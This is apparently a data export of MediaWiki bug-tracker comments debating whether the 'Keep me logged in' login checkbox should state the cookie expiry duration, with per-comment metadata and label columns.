+As most arguments where Steven uses the word ""obviously"", this is IMHO a very weak and disputable one. Cookies are one of the least honest businesses of the internet and few or no websites are straightforward with their users about them (though this is getting better in EU thanks to recent directives): however, MediaWiki's ethical standards are higher than the average and we shouldn't blindly follow bad practices, however common they might be.
+Best example of dishonesty has always been Google (which triggered the EU directive):
+https://www.eff.org/deeplinks/2007/07/edition-privacy-theater-googles-cookie-monster
+http://edri.org/edrigramnumber5-15search-engine-privacy/
+Many users are bothered, as the number of featured browser extensions with hundreds thousands users show:
+https://addons.mozilla.org/it/firefox/addon/betterprivacy/
+https://addons.mozilla.org/it/firefox/addon/anonymox/
+https://addons.mozilla.org/en/firefox/addon/self-destructing-cookies/
+
+On the other hand, other users just hate logging in and whatever expiry you pick will make someone unhappy. This bug is IMHO about acknowledging that no expiry is perfect and that we must let the users decide. For the cost of 6 characters or so on the login form, yes.",,,1391072610,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,22,True,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+229615,"""Remember me"" on Login interface should state duration","Speaking directly from [[mw:Bug management/Bugzilla etiquette]], ""bug status, priority, and target milestone fields summarize and reflect reality and do not cause it"".
+
+With that in mind I ask that this ""edit war"" of sorts on this bug please stop. It is extremely obvious that, at the very least, the outcome of this bug is disputed. Thus closing it as WONTFIX is unproductive and aggressive.
+
+To the contrary, I recommend that this discussion be taken to a more public forum, e.g., the mailing list, where it is more likely to get a wider range of responses and criticisms.",,,1391059993,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+229608,"""Remember me"" on Login interface should state duration","Hmmm, four wontfixes here:
+
+* 2014-01-26 07:16:34 UTC comment 37
+* 2014-01-26 21:23:37 UTC comment 42
+* 2014-01-28 05:52:58 UTC comment 47
+* 2014-01-28 08:59:43 UTC comment 52
+
+Bartosz's patch came in at comment 57. Fun pattern. :-)",,,1391050403,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,22,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+229600,"""Remember me"" on Login interface should state duration","Change 110279 had a related patch set uploaded by Bartosz Dziewoński:
+""Keep me logged in"" on Special:UserLogin should sometimes state duration
+
+https://gerrit.wikimedia.org/r/110279",,,1391043296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,0
+229593,"""Remember me"" on Login interface should state duration","(In reply to comment #52)
+> Isarra's proposal is not reasonable. You want us to add logic for displaying
+> the cookie expiration, while also saying ""though what the boundary would be""
+> for actually showing it is ""up in the air"". This is not a specification for a
+> patch, it's vague handwaving.
+
+Development is not an exact science. This is why iteration is so popular. If you've ever done anything Agile, it's all about iteration.
+
+Now I don't know what random number is best so I'm not going to specify a specific random number, but at this point it really doesn't matter what it is anyway. We need the logic first, and if the logic is there, we can then just pick anything for the cutoff number, 182 days, a year, whatever. If it turns out to be a bad number, people will complain and we can change it. An iteration, see?
+
+Changing a variable is easy. We do it all the time.",,,1391038923,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,1,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1
+229586,"""Remember me"" on Login interface should state duration","As I said on bug 60437 already, I also think Isarra's proposal in comment 49 here is the best solution.",,,1391006302,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,22,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+229580,"""Remember me"" on Login interface should state duration","(In reply to comment #28)
+> If it's likely that we
+> change our config to be the same based on a privacy policy revision, then
+> there's no need to say something extra
+
+Before Steven says I'm reading too much into this, here he states A -> B, Isarra et al. state ¬B. But Steven's sentence is equivalent to ¬B -> ¬A, hence the logic translation of his concerns is what I said in comment 51. :)",,,1390900419,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,1,1,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+229573,"""Remember me"" on Login interface should state duration","(In reply to comment #52)
+> Please don't read ulterior motives in to what I'm saying on the bug.
+
+You talked so much in this bug that there's no need to invent anything. :) See in particular your comment 28; but also comment 10, comment 12, comment 23, comment 30.",,,1390900089,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1
+229566,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #51)
+> Agreed. I think Steven is only bothered that if we mention an expiration
+> explicitly people will get used to it, barring his plans to raise the cookie
+> length. Isarra's proposal should make everyone happy.
+
+Please don't read ulterior motives in to what I'm saying on the bug. 
+
+Isarra's proposal is not reasonable. You want us to add logic for displaying the cookie expiration, while also saying ""though what the boundary would be"" for actually showing it is ""up in the air"". This is not a specification for a patch, it's vague handwaving.",,,1390899583,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0,1,0,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+229560,"""Remember me"" on Login interface should state duration","Agreed. I think Steven is only bothered that if we mention an expiration explicitly people will get used to it, barring his plans to raise the cookie length. Isarra's proposal should make everyone happy.",,,1390893717,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+229554,"""Remember me"" on Login interface should state duration","(In reply to comment #49)
+> The expiry time should not be displayed if it's set to indefinite. This may
+> also apply if it's set to a sufficiently long duration (for instance if it
+> expires after 6 months, that may well be plenty that it doesn't really matter
+> anymore), though what the boundary would be, or if this is indeed that case,
+> is more up in the air.
+> 
+> It is most important to specify the duration where it is shorter, such as of
+> a week (wikitech), 30 days (wikipedia), etc. There, the logins will be
+> expiring quite frequently, and for the users, quite unexpectedly: if they told
+> it to keep them logged in, it will appear to them that they are being logged
+> out after they specifically told it to not log them out, because that's what
+> it said.
+
+This seems sensible.",,,1390891476,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+229548,"""Remember me"" on Login interface should state duration","(In reply to comment #45)
+> 
+> For the record, Google still just says ""Stay signed in""; they have a finite
+> but long expiration...
+
+Aye, indefinite ones or very long ones probably wouldn't need to be specified.
+
+Copying what I said on Bug 60437 over to here (sorry about it winding up over there initially):
+
+The expiry time should not be displayed if it's set to indefinite. This may also apply if it's set to a sufficiently long duration (for instance if it expires after 6 months, that may well be plenty that it doesn't really matter anymore), though what the boundary would be, or if this is indeed that case, is more up in the air.
+
+It is most important to specify the duration where it is shorter, such as of a week (wikitech), 30 days (wikipedia), etc. There, the logins will be expiring quite frequently, and for the users, quite unexpectedly: if they told it to keep them logged in, it will appear to them that they are being logged out after they specifically told it to not log them out, because that's what it said.
+
+> For Facebook, the main cookie expires in one month if it's checked, similar
+> to our current behavior.
+
+Hey, just because Facebook does something, that doesn't mean it's a good idea. I mean, yeah, I doubt it causes them any real problems, but we can still do better.
+
+
+(In reply to comment #47)
+
+You're wrong. Stating that things are completely obvious does not make you not wrong. Interestingly, if you revert again, you'll be past three reverts on this bug. You're from Wikipedia, right? They have a rather neat three revert rule...",,,1390891187,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+229540,"""Remember me"" on Login interface should state duration",*** Bug 60437 has been marked as a duplicate of this bug. ***,,,1390889815,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+229534,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #46)
+> I find comment 40 compelling.
+> 
+> Steven: while I understand that you personally disagree here, the reality is
+> that MediaWiki core supports this functionality and the English Wikipedia
+> uses
+> it (cf. [[MediaWiki:Userlogin-remembermypassword]]). Given these two facts,
+> it's reasonable to consider including the duration in the default message, in
+> my opinion. And both current consensus (on this bug report) and past
+> consensus
+> (the duration was previously included by default, as I recall) seem to agree
+> here. Please do not mark this bug as resolved/wontfix again.
+> 
+
+This is not a system where we just do what the most people commenting on the bug happen to like. We do the right thing by users. The right thing for a label description is _clarity_. Clarity is not necessarily comprehensive detail, but providing the user: 
+
+- What essential information they need to make decisions, and no more
+- What they expect, which is largely shaped by their experiences on other sites
+
+Since it is completely obvious that you don't need to know the time period to make a decision, and literally no one has been able to provide a relevant example of another site that follows the practice being recommended, it makes no sense to revert back to the historic practice of declaring what is obviously superfluous information. Providing this information is a good example of ""implementation model"" rather than ""mental model"", meaning shaping the user interface to exactly match how the system functions behind the scenes, rather than what the user expects and needs.[1][2]
+
+To make myself crystal clear here: I am not arguing we should be shaping core to what English Wikipedia needs. Excessively detailed copy and unnecessary logic to include the value of the cookie expiration is a bad user experience for any MediaWiki installation. 
+
+1. http://www.uxpassion.com/blog/strategy-concepts/implementation-mental-representation-models-ux-user-experience
+2. http://www.sfs.uni-tuebingen.de/~cculy/courses/S2012/visDesignEval/presentations/Chapter_2_Daniil_Sorokin.pdf",,,1390888378,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+229526,"""Remember me"" on Login interface should state duration","I find comment 40 compelling.
+
+Steven: while I understand that you personally disagree here, the reality is that MediaWiki core supports this functionality and the English Wikipedia uses it (cf. [[MediaWiki:Userlogin-remembermypassword]]). Given these two facts, it's reasonable to consider including the duration in the default message, in my opinion. And both current consensus (on this bug report) and past consensus (the duration was previously included by default, as I recall) seem to agree here. Please do not mark this bug as resolved/wontfix again.
+
+(In reply to comment #39)
+> MZMcBride, the ""easy"" keyword should not be used for issues for which
+> the fix is controversial, including those that someone at the WMF would
+> likely mark RESOLVED WONTFIX. It doesn't make sense to consider these
+> to be ""Issues recommended to try for new developers"".
+
+Kevin: I'm not sure one Wikimedia Foundation staffer objecting makes this controversial. As comment 40 summarizes, consensus seems fairly clear here. This bug _is_ trivial to resolve, but if it's somehow still inexplicably a political issue to resolve this bug, then you're correct that we can safely drop the ""easy"" keyword here.",,,1390886823,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+229517,"""Remember me"" on Login interface should state duration","(In reply to comment #5)
+> I don't know the exact behavior, but for example Google (""Stay signed in""),
+> Facebook (""Keep me logged in""), and Twitter (""Remember me"") all have such a
+> checkbox on log in, and none say the time period.
+
+For the record, Google still just says ""Stay signed in""; they have a finite but long expiration (two years for what seem to be the main cookies, but shorter for another one that is not impacted by ""Stay signed in"".
+
+For Facebook, the main cookie expires in one month if it's checked, similar to our current behavior.",,,1390885763,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1
+229508,"""Remember me"" on Login interface should state duration","(In reply to comment #42)
+> [...] with the upcoming privacy policy we will not
+> need to have a hard 30 day limit on cookies. [...]
+
+Note: possibly upcoming, may not need.",,,1390771607,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1
+229500,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #42)
+
+> 2. Even without differences in cookie policies, the information is not
+> necessary to decide ""Do I want this site to remember me?"". It's a simple yes
+> or
+> no state. The user does not 
+> 
+
+Sorry, got clipped. The final sentence is, ""The user does not have multiple options, only a binary state.""",,,1390771509,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1,1,1,0,0,1
+229491,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #40)
+> Furthermore, by telling the user that we
+> are going to keep them logged in, then logging them out after 30 days we are
+> effectively lying to them - can you tell me that's good UX?
+
+Yes, I can elaborate. 
+
+The goal of the checkbox is to help user stay logged in for longer than their normal browser session. The label should provide only as much information is needed for the user to decide, ""Do I want to have this site remember my login on this computer?"" 
+
+1. When asking about good UX in log in forms, etc. we can obviously look to other sites, since we are far from the only people to have a user registration systems. I cannot find a _single_ good example of a login form which specifies an exact time limit on saved login sessions, even if cookie policies may differ. This obviously supports the view that it would be unusual to present this, and probably unnecessary. 
+
+2. Even without differences in cookie policies, the information is not necessary to decide ""Do I want this site to remember me?"". It's a simple yes or no state. The user does not 
+
+3. The fact that our cookie policy only allows for 30 days of remembering a user _even if_ they opt in to being remembered is a broken UX. Numerous users have complained about this, and with the upcoming privacy policy we will not need to have a hard 30 day limit on cookies. This will soon make the need to specify a time limit completely unnecessary, because our cookie policy for users who opt-in via this checkbox will be just like other sites. 
+
+4. Regardless of what time period the cookie lasts, we are fulfilling the user's request to be remembered beyond the normal session. The idea that we're lying to users without the 30 day mention is absurd. 
+
+TL;DR: this will soon be obviated by the new privacy policy which won't require 30 day limits on cookies, and it's unnecessary information for the user to be able to make a decision about whether they do or do not want to be remembered.",,,1390771417,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,1,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+229484,"""Remember me"" on Login interface should state duration","While Thehelpfulone makes good points, I wasn't opposed to closing this bug specifically since according to the bug description/title way up there, it is resolved (hence why I just opened a new bug for the issue that we're poking at now), but... eh. Trying to move a discussion can be iffy and we're all already here so I just don't know.
+
+Andre! What do you think?",,,1390764010,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+229476,"""Remember me"" on Login interface should state duration","**Thehelpfulonewiki** wrote:
+
+So looking through the comments, I see the following breakdown:
+
+Support: Myself, MZMcBride, Nemo, Amgine, Isarra, Matt Walker, Raimond
+
+Opposition: Steven Walling, Matt F (weak)
+
+It seems to be Steven you're the only person that's strongly opposed against this idea - the rest of the people that have commented on this bug (who are from a wide range of projects/locations) support this change.
+
+I don't think that this change should be opposed on the basis of *one* person's opposition - we work with consensus. Furthermore, by telling the user that we are going to keep them logged in, then logging them out after 30 days we are effectively lying to them - can you tell me that's good UX?",,,1390761770,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+229471,"""Remember me"" on Login interface should state duration","MZMcBride, the ""easy"" keyword should not be used for issues for which
+the fix is controversial, including those that someone at the WMF would
+likely mark RESOLVED WONTFIX. It doesn't make sense to consider these
+to be ""Issues recommended to try for new developers"".",,,1390743961,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+229467,"""Remember me"" on Login interface should state duration",I've filed bug 60437 about having a duration at all.,,,1390724736,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+229463,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #35)
+> Would you tell me what I'm supposed to do to fix this bug?
+
+I am closing this bug as I should have done a long time ago, per the reasoning in comment 10
+
+If an individual community wants to disagree with the MediaWiki default, then they can customize it like English Wikipedia has. This should not be changed in core.",,,1390720594,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+229458,"""Remember me"" on Login interface should state duration","Aravind: Find the string yourself in the codebase, change it (see comment 0 and 34 for hints), and put a patch into Gerrit.",,,1390670587,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+229452,"""Remember me"" on Login interface should state duration","**aravikn** wrote:
+
+Would you tell me what I'm supposed to do to fix this bug?",,,1390645074,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+229446,"""Remember me"" on Login interface should state duration","(In reply to comment #33)
+> Isn't this fixed?
+
+No. In MediaWiki core, the ""userlogin-remembermypassword"" message is still
+just ""Keep me logged in"", though at least English Wikipedia has overridden
+it to add ""(for up to $1 {{PLURAL:$1|day|days}})"".",,,1390642806,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1
+229438,"""Remember me"" on Login interface should state duration","**aravikn** wrote:
+
+Isn't this fixed?",,,1390642120,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+229432,"""Remember me"" on Login interface should state duration","I remember that I added the value of $wgCookieExpiration to the login form some years ago because there were ongoing questions on the Germen Village Pump about ""how long is the login valid?""
+
+Therefore I think it would be a good idea to re-add this information.",,,1376638681,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+229425,"""Remember me"" on Login interface should state duration","(In reply to comment #30)
+> No, this bug is primarily about what's on Wikimedia projects. That's what
+> Thehelpfulone was asking about in the original comment, why Luis commented
+> about privacy as well, and why MZ's solution was to locally change the enwiki
+> message. I could care less if someone wants to change the MediaWiki default
+> as
+> long as they leave Wikimedia projects untouched.
+
+Those are just examples, while your recurring argument is only about WMF wikis; this bug has never been in WikimediaMessages component or Wikimedia product, IIRC. That said, sure, many of the comments here have gone off track.
+I don't care much about this request (I was originally against it, it seems) but I still don't see compelling arguments to reject the addition of a handful characters to core.
+
+Then, this can be closed and a bug filed for WikimediaMessages if you wish; or this can be ignored for core and moved to somewhere else. Whatever eliminates this from my bug 38638 backlog is fine, thanks.",,,1376602519,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,True,,,-2,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
